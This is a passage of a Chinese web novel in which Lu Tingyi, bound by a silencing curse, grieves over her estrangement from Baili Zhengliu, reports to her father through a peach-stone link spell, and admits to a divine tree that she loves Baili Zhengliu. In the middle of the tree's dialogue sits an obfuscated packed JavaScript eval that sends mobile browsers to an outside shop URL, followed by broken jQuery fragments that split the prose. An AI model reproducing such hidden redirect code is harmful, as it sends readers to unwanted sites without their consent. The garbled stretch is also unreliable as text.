她从没想过自己会将这一切和盘托出。
但她越说越顺嘴,越说越轻松,心头那把陈年老灰一扫而空。
黑暗那头,百里争流的呼吸声渐渐急促。
直到最后一个字说完,他都没有开口。
胸口又慢慢拧紧。陆停漪从不觉得自己做了什么了不起的牺牲,这些年她总对自己说“我才不管百里争流怎么想”。
事到如今,她才发现从前的自己过于嘴硬了。
她还是在乎的。
什么都看不清时,耳朵会变得很敏感,他轻轻呵出的那口气,仿佛抵在她的耳廓上。
“陆停漪,我……”
飞快的语速卡住了,他又沉默了很久,急促地说道:“我去牵马!”
“啊?牵马?”
等待的间隙,她预设了无数种可能,万万没想到他抛出了这句话。
那一瞬的落空感做不得假,她希望百里争流得知后,会被感动或感到愧疚,但她失望了。
人真奇怪,明明自以为做出了成全和牺牲,却还是忍不住怨怼,明明不希冀回报,但真落空的那一刻,又觉得失落。
她收住了胡思乱想,说道:“牵马做什么?悬崖那边的路,那么难走。”
“不把马牵过来,明早你要怎么离开?”
他的声音硬邦邦的:“陆停漪……我知道你的禁言咒尚未解除,那红烛是施展巫祝之力的助力,你总是勉强自己,所以才这样虚弱。”
“啊?”她傻眼了。
虽说预料到瞒不过他,但秘密被他事无巨细推敲出来,她还是冷汗直冒,暗叹他心思缜密到令人害怕。
“放心,我不和你计较。”他语气变得很轻,“我们,扯平了。”
没等她回答,他便折身离开。
没走几步,他停了下来:“唐岁荣不在了,应该没有什么危险了。临冬不会走远,万一遇上些什么,吹鸣镝叫她。”
接着是一串紧凑的脚步声,他走远了。
陆停漪靠在树上,仔细咀嚼着那句“扯平了”,心里明白,那是百里争流很别扭的亏欠。
只有承认曾欠了她,才有当下的不计较。
但她一点也不高兴,总觉得是一拳头打在了棉花上,不痛快,没得到她想要的回应。
她不知道百里争流究竟在想什么,隔绝了太久,她已经不知道百里争流是怎样的人了。
陆停漪拍拍脸颊,沿着树缓缓坐下,与其琢磨他,还不如赶紧把正事忙完。
诅咒消解后,她又能恢复一种巫祝之力。
可以预见的是,接下来的双头兽,一定也有类似于首尾和假命的诡谲咒术,能否识破成了至关重要的一环。
所以没什么纠结,她选择了“连结术”。
而后,趁着屏蔽疲劳的神力还在,她深吸口气,催动了连结术,将指尖放在桃核上。
“爹,是我,你能听见吗?”
唤了几声后,桃核的纹路中,传来父亲的声音:“停漪,我听见了,你在里面还好吗?”
她瞥了眼不能动弹的腿脚,说道:“我很好。爹,连结术时间有限,我们长话短说,唐领这边……”
她将先前发生之事尽数告知。
“也就是说,赵墨早在八年前就开始了重铸肉身的毒计,他利用了唐岁荣不愿失去亲人的弱点,给了他首尾和假命控制领地。”父亲的声音很冷,“但有件事很奇怪,既然唐领是唐岁荣的一言堂,为什么不让人面鸟把所有人变成血珠?还用首尾虫多此一举?”
“可能……”她沉吟一声,“可能是唐岁荣担心江东王府突然到访,特意留了些活人?”
“说不通。在没弄清楚假命咒之前,你们三人都被纸扎人欺骗了,假命咒足以蒙蔽狩猎队……眼下线索太少,先把这处疑点记下来。”
“嗯。”她翻出挎包中的札记和小墨盒,“此外,既然赵墨要重铸肉身,谁那么有能耐,能把他的肉身毁了?”
说着,她“啊”了声:“是神树!我猜是神树和赵墨大战了一场,从此,神树陷入沉睡,赵墨失去肉身。爹,你更了解神树的来历,我猜的对吗?”
父亲没有说话,桃核那头是猎猎的风声。
静了片刻,他才开了口:“应该如此。”
“那就奇怪了。”她又想到了一处疑点,“根据神树沉睡的时间来推断,赵墨的肉身少说损毁了二十年了,是怎么有了一个和我们年龄差不多大的孩子呢?爹,难道没有肉身也能够生孩子吗?”
“停漪……你这问题可真够傻的。”父亲爆出响亮的笑声,“不过赵墨不是寻常人,即使没有肉身,说不定也能用什么不入流的方法有了孩子。”
说到后面,他的笑声渐止,渗出寒意。
“爹说的是,说不定那孩子,是和双头兽一样的小怪物……”
“停漪!”父亲严厉地喝住了她,随后又缓和了语气,“终究不是他能选择的……”
陆停漪一下想到了百里争流,也认同了父亲的话,但对在残月夜给了她一剑的兜帽人,实在同情不起来。
连结术的时间将尽,她提醒道:“爹,你可以动身去唐领了。唐寻章肯定在悬崖那边等着,见了他不必客气,抓起来便是。还有……”
眼前闪过那个瘦小又倔强的影子。
“多带些干粮。你在桃境外,要考虑得比我们多,若是见到了五月,多分给她一些吃的。”
父亲一一应下了。
“停漪,你在里面不要勉强,切记万事有我。”
“嗯,爹,你也千万要保重身体。”
指尖最后一丝暖意消散,陆停漪恋恋不舍放下手腕。
她从挎包中翻出火折子,点亮后插在一旁的石堆中,借着火光,她把札记铺平,把得到的情报整理下来。
总想到百里争流,笔尖时不时停顿,写下来的字也极丑。
她揉着胸口,“呸”了声:“你算什么?总让我不开心……”
桃核发烫,是神树苏醒了。
“怎么又不开心了?”
反正在他面前丢的脸不计其数,这种微妙的心思除了他,也不知道找谁倾诉。陆停漪索性倒豆子似的,倾吐个痛快。
“既然你们当初的绝交,都不是真心的。如今你也知道,他的那句‘无用之人’也不是真心的。那你们之间,从来没有货真价值的矛盾,这不是很好吗?又能做回要好的青梅竹马了。”
“可我……”
“可你想要的,不止于此。陆停漪,你的闷闷不乐,是你想要的太多,但你得到的太少。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782554|209757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
神树是她那些曲折隐秘心思的共谋,尽管他说得如此隐晦,她还是感到被看穿的羞耻。
起初,她没把绝交当一回事,反正两人都不是真心的,等找到了对付赵墨的法子,等她的禁言咒解了,这绝交便不能作数了。
但她把一切想得太简单,不知道覆水难收的道理,有些话一旦说出口,就会留下难以磨灭的痕迹。
百里争流对她越发冷淡,直至相顾不识,成了哑巴又过于逞强的她,也无法出言挽留,等她意识到不对劲时,两人的绝交已经人尽皆知了,而那时的她,因为百里争流的态度和对唐临冬的那句话,实实在在受了不少委屈。
但她又觉得自作自受,不允许自己有太多抱怨。
后来,和百里争流的交集,只剩下每日他去演武场时,会经过她的房门。
“殿下,近来又长高了吧?”苗娘的声音,透过隔窗传来。
她的目光从札记移开,瞥向窗外。
“我能比一比吗?”
“可以。”
他的声音变了,有些低哑,但是……不难听。
喝了口盐渍梅子水,她嘴巴里酸甜又咸咸的。
“哇,殿下长得好快啊,几个月前我到你耳朵,如今只到下巴啦。”
“苗娘,这事就别和别人说了,否则都要来找我比身高。”
我也长高了。她的嘴巴无声张合。
百里争流的影子透过窗棂,与她的影子交叠在一起。
他的影子映在隔窗上,陆停漪牢牢记住他的身高在哪个格子。
趁着半夜,四下无人时,她偷溜到廊上,跳起来比划。
直到折腾出一身汗,她也摸不准自己是到他的耳朵还是下巴。
风吹过,被汗打湿的里衣冷得她打个哆嗦,也把她吹醒了。
“我在做什么?独自在这里比什么身高……我为什么做这种事?”
风一阵又一阵,不知是哪一阵吹开了她的心事。
“原来我……心悦百里争流。”
她捂住脸,嘴唇抖得不成样子。
为什么?凭什么呢?这几年,他们连像样的交集都没有过……难道是因为她仍会注视他?
还没琢磨清楚自己的心意,她便听到百里争流对齐圆所说的那句“无用之人”,随后,他们的两情相悦也传遍了王府。
陆停漪觉得自己很可笑,随后又觉得这种心意,不过是虚浮的错觉,只要她足够坚决,便可以彻底抹除。
那一年,她的反抗尤为激烈。她不再偷偷看着演武场,扔掉了柿饼,还因此错伤了王居林……
历经了数不清难熬的日夜,她终于变得波澜不惊。
陆停漪恼恨神树掀了自己的老底,把札记摔得啪啪响,胡乱扔进了包里。
“你想向他索取更多情感,所以不高兴。”
“打住!”她不想再听神树的奚落,心里憋屈极了,“我索取什么了?”
谁小时候没犯过傻?打从知道了他和齐圆在一起后,她把自己管得死死的。
“别以为你有多了解我!要不是为了攒红烛,我才不乐意和百里争流相处呢!”
陆停漪喊出了这句话,丝毫没注意到,在不远处,有只瓷白的手,紧紧攥住了刀柄上的风铃。